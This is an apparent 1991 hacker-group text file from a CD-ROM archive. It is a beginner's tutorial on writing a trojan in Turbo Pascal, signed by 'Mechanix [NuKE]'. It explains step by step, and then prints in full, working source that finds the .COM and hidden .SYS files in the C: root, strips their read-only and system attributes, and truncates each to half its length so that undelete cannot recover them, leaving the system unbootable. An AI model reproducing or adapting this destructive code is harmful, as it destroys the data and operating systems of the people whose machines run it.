home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 335.DATA.EXE / TEXT23.TXT < prev    next >
Text File  |  1991-10-31  |  8KB  |  211 lines

  1. ──────────────────────> Turbo Pascal Programming :
  2.  
  3.     I have often been asked, how can I make a virus with Turbo Pascal. Well the
  4.  answer is you can't. The reason is that Turbo Pascal doesn't have the ability
  5.  to stay resident and monitor/hook up DOS interrupts needed by a virus for the
  6.  infection of files. Turbo Pascal can make TSRs, but these are mostly one shot
  7.  deals that can execute after a certain time or after a certain number of
  8.  keystrokes. However, Turbo Pascal is an excellent language to program trojans
  9.  with, and can surpass almost everything possible with Basic. It is also
  10.  relatively easy to learn compared to Assembler or even C.
  11.     Now, what I'm going to attempt is explain the steps in creating a simple
  12.  Turbo Pascal trojan. This is for beginners only. I am simply trying to show
  13.  the different procedures and functions that can be used in trojan programming.
  14.  Thus I will detail every step and recopy the complete source at the end of
  15.  this article. By the way, I'm using the Turbo Pascal v5.5 compiler.
  16.  Important: All lines beginning with ">" are part of the program. Just type
  17.  these lines in, but omit the ">". Do not type in the ">".
  18.  
  19.  Step 1- Initializing the program: Without this you're not going to get very
  20.          far. So just type in the following:
  21.  
  22.  >        PROGRAM TROJAN;
  23.  >        USES DOS;
  24.  
  25.          I'm not putting in the CRT unit because we have no need for it here.
  26.  
  27.  Step 2- Figure out what you're going to do: The hardest part of programming a
  28.          trojan is coming up with a worthwhile concept. After that, programming
  29.          should be a breeze. For this one we will simply go to the root
  30.          directory and destroy the two hidden .SYS files and COMMAND.COM.
  31.  Step 3- Figure out how you're going to do it: Once you have the plan thought
  32.          up, the programming part shouldn't be to hard. Now for our trojan we
  33.          need a way to locate our files. Now since the .SYS files might differ
  34.          from one system to the other, we cannot go with default filenames. So
  35.          we are going to use a recursive procedure similar to the one in my
  36.          bypass trojan v1.0 (if you read that article) to find all .SYS and
  37.          .COM in the root directory of the C: drive. I chose the C: drive for
  38.          obvious reasons, but you can just repeat the process for all logical
  39.          drives A: to E: and more. You also need to define a few variables that
  40.          will be used later on. Type the following in:
  41.  
  42.  >        VAR
  43.  >        Target  : SEARCHREC;  { Fundamental. This is a internal record that }
  44.  >                              { is necessary for the Findfirst function.    }
  45.  >        T       : FILE;
  46.  >        PROCEDURE KILL (FIND : STRING);
  47.  >        BEGIN
  48.  
  49.          Now what we want is to get drive C: so type in the following:
  50.  
  51.  >        Chdir ('C:\');
  52.  
  53.          Now we have to find our target files. For this we will use the
  54.          internal procedure Findfirst. The command string for Findfirst is:
  55.  
  56.           FindFirst(Path : string; Attr : Word; var S : SearchRec);
  57.  
  58.          Where Path is the files we want to find. Path will be called from the
  59.          main program. S is the variable Target defined above and Attr is the
  60.          attributes we are looking for. Here is a list of attributes for the
  61.          Findfirst and other procedures:
  62.              ReadOnly  = $01;
  63.              Hidden    = $02;
  64.              SysFile   = $04;
  65.              VolumeID  = $08;
  66.              Directory = $10;
  67.              Archive   = $20;
  68.              AnyFile   = $3F;
  69.  
  70.          Since we are looking for all files with all attributes except
  71.          directories, are Attr will be $3F - $10. So type this in:
  72.  
  73.  >        Findfirst (FIND,($3F - $10),Target);
  74.  >        WHILE DOSERROR = 0 DO
  75.  >        Begin
  76.          If a file is found, Doserror will equal 0. Otherwise we return to the
  77.          main program, our task achieved. Now let's say that our trojan has
  78.          found a file, we must assign it to a variable, the variable T defined
  79.          above. Now the file found by Findfirst has been saved in the Target
  80.          record. To get the full filename, we must enter Target.Name. So type
  81.          in the following:
  82.  
  83.  >        ASSIGN (T,Target.name);
  84.  
  85.          Now we must change the files attribute to archive in case it's a
  86.          read-only or system file (the .SYS files). So we use the procedure
  87.          Setfattr. The correct command line is
  88.  
  89.           SetFAttr(var F; Attr : Word);
  90.  
  91.          Where F is the T variable and Attr it's new attribute. So type in the
  92.          following:
  93.  
  94.  >        Setfattr (T,$20);
  95.  
  96.          This gives the archive attribute to our file. Having bypassed file
  97.          write-protection, we must now check for disk write-protection.
  98.          However, physical disk write-protection is unremovable, so the best we
  99.          can do is check for it, and if found, abort the program or pass to
  100.          another drive. To check for write protect we will create a directory
  101.          on the drive, and check the ioresult. If the directory is successfully
  102.          created, then ioresult will equal 0 and the disk is not
  103.          write-protected, otherwise we abort. It is important to state the
  104.          {$I-} and {$I+} parameters to turn off a possible runtime error. So
  105.          type in the following:
  106.  >        {$I-}
  107.  >        Mkdir ('ß');
  108.  >        {$I+}
  109.  >        IF IORESULT = 0 THEN
  110.  >        Begin
  111.  >        Rmdir ('ß');
  112.  
  113.          We use ß as this is less obvious in the compiled program. Now that we
  114.          can access are target file properly, we must decide on a way to
  115.          destroy it. Now we could erase it but this can be repaired with
  116.          undelete. So I choose to cut the file in half, thus making it
  117.          unusable. Now we use the truncate command. This command cuts the file
  118.          at the current file position. So we must go halfway into the file
  119.          before truncating it. We use seek. Type in the following:
  120.  
  121.  >        Reset (T);
  122.  >        Seek (T,Filesize(T) DIV 2);
  123.  >        Truncate (T);
  124.  >        Close (T);
  125.  >        End
  126.  
  127.          Don't forget to close the file (Close(T)). Now we just add the command
  128.          that happens if the drive is write-protected. Type in the following:
  129.  
  130.  >        ELSE
  131.  >        Exit;
  132.  >        Findnext (Target);
  133.  >        End;
  134.  >        END;
  135.  
  136.          The Findnext procedure simply repeats the Findfirst routine until all
  137.          files are found, then Doserror doesn't equal 0 and the program exits.
  138.          We must now type up the main program. The only checking done here is
  139.          to check if drive C: exists, and then we execute procedure KILL for
  140.          .SYS and .COM files. Type in the following:
  141.  
  142.  >        BEGIN
  143.  >        {$I-}
  144.  >        Chdir ('C:\');
  145.  >        {$I+}
  146.  >        IF IORESULT = 0 THEN
  147.  >        Begin
  148.  >        KILL ('*.COM');
  149.  >        KILL ('*.SYS');
  150.  >        End;
  151.  >        END.
  152.  
  153.          That assigns *.SYS and *.COM to FIND used in Findfirst.
  154.  
  155.     Well that ends this program. I made it as detailed as possible for Turbo
  156.  Pascal beginners. More advanced programmers should have no trouble with it. To
  157.  anyone wanting to learn more, I suggest reading through all the procedures
  158.  from the DOS unit, as these are the most helpful in trojan programming. The
  159.  full source follows, and if you want to test it, simply replace C:\ with A:\
  160.  and try it on a system disk in drive A:\ (for example).
  161.  
  162.  
  163.  
  164.  
  165.  
  166.     Source:
  167.  
  168.  
  169.       PROGRAM TROJAN;
  170.       USES DOS;
  171.       VAR
  172.       Target  : SEARCHREC;
  173.       T       : FILE;
  174.  
  175.       PROCEDURE KILL (FIND : STRING);
  176.       BEGIN
  177.       Chdir ('C:\');
  178.       Findfirst (FIND,($3F - $10),Target);
  179.       WHILE DOSERROR = 0 DO
  180.       Begin
  181.       ASSIGN (T,Target.name);
  182.       Setfattr (T,$20);
  183.       {$I-}
  184.       Mkdir ('ß');
  185.       {$I+}
  186.       IF IORESULT = 0 THEN
  187.       Begin
  188.       Rmdir ('ß');
  189.       Reset (T);
  190.       Seek (T,Filesize(T) DIV 2);
  191.       Truncate (T);
  192.       Close (T);
  193.       End
  194.       ELSE
  195.       Exit;
  196.       Findnext (Target);
  197.       End;
  198.       END;
  199.       BEGIN
  200.       {$I-}
  201.       Chdir ('C:\');
  202.       {$I+}
  203.       IF IORESULT = 0 THEN
  204.       Begin
  205.       KILL ('*.COM');
  206.       KILL ('*.SYS');
  207.       End;
  208.       END.
  209.  
  210.  Mechanix [NuKE]
  211.